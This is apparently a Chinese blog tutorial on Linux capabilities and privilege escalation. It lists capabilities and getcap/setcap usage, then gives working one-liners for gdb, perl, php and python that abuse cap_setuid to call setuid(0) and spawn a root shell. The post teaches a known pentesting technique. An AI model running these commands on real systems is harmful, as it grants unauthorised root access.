• Linux提权(capabilities)


    0x00 Capabilities入门

    什么是Capabilities

    Linux的Root用户拥有最高的权限,可以对几乎系统中的任何文件进行操作。然而普通用户如何操作一些高权限的文件?
    在Linux中存在两种方法:
    第一种是在执行的命令前加上sudo,这样就会以Root的身份进行操作。
    第二种方法是设置SUID或SGID,这样虽然会以原用户的身份进行操作,但是获得了操作权限。

    SUID和SGID存在安全隐患,因为某文件设置了之后普通用户将会获得广范围的操作权限。
    为了避免这种安全隐患,Linux内核 2.2 之后引入了Capabilities机制。什么是Capabilities机制哪?

    原理很简单,就是将之前与超级用户 root(UID=0)关联的特权细分为不同的功能组,Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
    这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是 root,就去检查其是否具有该特权操作所对应的 capabilities,并以此为依据,决定是否可以执行特权操作。

    细分后的特权:
    capability名称 描述
    CAPAUDITCONTROL 启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则
    CAPAUDITREAD 允许通过 multicast netlink 套接字读取审计日志
    CAPAUDITWRITE 将记录写入内核审计日志
    CAPBLOCKSUSPEND 使用可以阻止系统挂起的特性
    CAP_CHOWN 修改文件所有者的权限
    CAPDACOVERRIDE 忽略文件的 DAC 访问限制
    CAPDACREAD_SEARCH 忽略文件读及目录搜索的 DAC 访问限制
    CAP_FOWNER 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制
    CAP_FSETID 允许设置文件的 setuid 位
    CAPIPCLOCK 允许锁定共享内存片段
    CAPIPCOWNER 忽略 IPC 所有权检查
    CAP_KILL 允许对不属于自己的进程发送信号
    CAP_LEASE 允许修改文件锁的 FL_LEASE 标志
    CAPLINUXIMMUTABLE 允许修改文件的 IMMUTABLE 和 APPEND 属性标志
    CAPMACADMIN 允许 MAC 配置或状态更改
    CAPMACOVERRIDE 忽略文件的 DAC 访问限制
    CAP_MKNOD 允许使用 mknod() 系统调用
    CAPNETADMIN 允许执行网络管理任务
    CAPNETBIND_SERVICE 允许绑定到小于 1024 的端口
    CAPNETBROADCAST 允许网络广播和多播访问
    CAPNETRAW 允许使用原始套接字
    CAP_SETGID 允许改变进程的 GID
    CAP_SETFCAP 允许为文件设置任意的 capabilities
    CAP_SETPCAP 参考 capabilities man page
    CAP_SETUID 允许改变进程的 UID
    CAPSYSADMIN 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
    CAPSYSBOOT 允许重新启动系统
    CAPSYSCHROOT 允许使用 chroot() 系统调用
    CAPSYSMODULE 允许插入和删除内核模块
    CAPSYSNICE 允许提升优先级及设置其他进程的优先级
    CAPSYSPACCT 允许执行进程的 BSD 式审计
    CAPSYSPTRACE 允许跟踪任何进程
    CAPSYSRAWIO 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备
    CAPSYSRESOURCE 忽略资源限制
    CAPSYSTIME 允许改变系统时钟
    CAPSYSTTY_CONFIG 允许配置 TTY 设备
    CAP_SYSLOG 允许使用 syslog() 系统调用
    CAPWAKEALARM 允许触发一些能唤醒系统的东西(比如 CLOCKBOOTTIMEALARM 计时器)
    Capabilities使用
    查询
    getcap [路径]
    
    ## 查询全部
    getcap -r / 2>/dev/null # -r 递归查询   2>/dev/null 错误信息从定向到null
    
    设置
    ## 多个Capabilities以分号划分
    setcap [Capabilities名称]=eip  [路径]
    ## 设置多个案例
    setcap cap_setgid,cap_setuid=eip /usr/bin/python
    ## 注意
    设置时路径要指定源文件,不可以是链接文件,如果报错可以查看是不是路径指定的为链接文件
    
    删除
    setcap -r [路径]
    

    0x01 提权实例

    setuid

    通过setuid可以将进程执行用户设置为root,以达到获取root权限效果

    gdb
    gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
    ## -ex 执行命令
    ## gdb调用python debug调试;在shell中启动python的命令为python2,在gdb中也为python
    ## -nx 不初始化脚本
    


    perl
    perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
    


    php
    php -r "posix_setuid(0); system('/bin/sh');"
    

    出现如下时

    需要安装php-posix

    yum install php-posix
    ## centos中命令
    


    python
    python -c 'import os; os.setuid(0); os.system("/bin/sh")'
    


    参考
    https://www.freebuf.com/articles/system/251182.html
    https://blog.csdn.net/alex_yangchuansheng/article/details/102796001
  • 相关阅读:
    20161203
    20161201
    20161128课堂笔记
    数组排序 (选择排序、冒泡排序、插入排序、希尔排序)
    编一个多用户登陆程序
    20161115课堂笔记
    20161114课堂笔记
    20161111课堂笔记
    面试常见问题
    java 基础第一周
  • 原文地址:https://www.cnblogs.com/she11s/p/13842280.html
Copyright © 2020-2023  润新知